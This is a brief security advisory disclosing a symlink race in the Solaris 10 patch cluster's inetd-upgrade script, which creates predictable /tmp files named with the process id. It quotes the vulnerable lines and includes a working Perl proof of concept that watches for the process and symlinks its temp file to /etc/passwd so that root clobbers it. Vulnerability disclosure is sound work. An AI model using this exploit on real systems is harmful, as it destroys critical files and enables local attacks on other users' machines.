Solaris 10 Patch Cluster Symlink Attack

Larry W. Cashdollar
8/6/2012
Here is another symlink attack with temp file creation using process id in Solaris 10 patch cluster. You can over write the contents of root owned files with the contents of inetd.conf. 

In patches/137097-01/SUNWcsr/reloc/lib/svc/method/inetd-upgrade


lines : 
    72  inetdconf_entries_file=/tmp/iconf_entries.$$
    73
    74  # Create sed script that prints out inetd.conf src line from inetconv generated
    75  # manifest.
    76  cat <<EOF > /tmp/inetd-upgrade.$$.sed
    77  /propval name='source_line'/{
    78  n
    79  s/'//g
    80  p
    81  }
    82  /from the inetd.conf(4) format line/{
    83  n
    84  p
    85  }
    86  EOF


If 137097-01 is applied and changes need to be made to the inetd.conf file a malicious user can over write the contents of a root owned file with a simple script:

#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) { 
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
   }
 }

}

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@lcashdol